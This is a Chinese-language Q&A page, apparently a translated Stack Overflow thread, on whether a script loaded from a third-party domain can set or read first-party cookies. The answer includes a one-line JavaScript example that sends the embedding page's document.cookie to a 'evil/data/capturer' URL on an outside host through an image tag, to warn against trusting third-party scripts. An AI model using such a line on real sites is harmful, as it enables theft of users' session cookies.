编程语言
首页 > 编程语言> > javascript – 第三方脚本可以设置第一方Cookie吗?

javascript – 第三方脚本可以设置第一方Cookie吗?

作者:互联网

我在网上阅读了很多关于cookie的内容,但没有解决这个问题:假设我在a.com上有一台服务器,b.com服务的网页在我的服务器上的网页中嵌入了一个脚本:

<script src='a.com/script.js'></script>

在设置cookie方面,该脚本允许做什么?可以用domain = a.com设置cookie吗?我假设是因为脚本是从该域提供的.它是否也可以使用domain = b.com设置cookie,因为该页面是从该服务器提供的?

我试图了解在我的脚本从另一个主机的网页调用的上下文中“第一方”和“第三方”的含义.

解决方法:

我不相信.js文件的来源是相关的. Cookie域与正在呈现的文档的域有关.

如果我访问http://www.b.com/并且包括

<script src="http://www.a.com/some/file.js"></script>

然后b.com信任a.com的代码以善意行事.代码作为正在查看的页面的一部分执行.由于javascript代码将在浏览器中执行,因此它可以从b.com读取cookie并通过在文档中创建标记来传递该数据,其中src包含数据.

例如,如果a.com的javascript文件包含

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");

然后,a.com的恶意网站管理员可以检查他的网络服务器日志并查看b.com的cookie.

所以,问题是,如果a.com是恶意的,为什么b.com会在他们的页面中包含来自a.com的代码?他们可能没有.作为Web开发人员,我们需要验证我们在网站中嵌入的任何第三方代码的可信度.

标签:javascript,same-origin-policy,cookies,cross-domain
来源: https://codeday.me/bug/20190624/1281264.html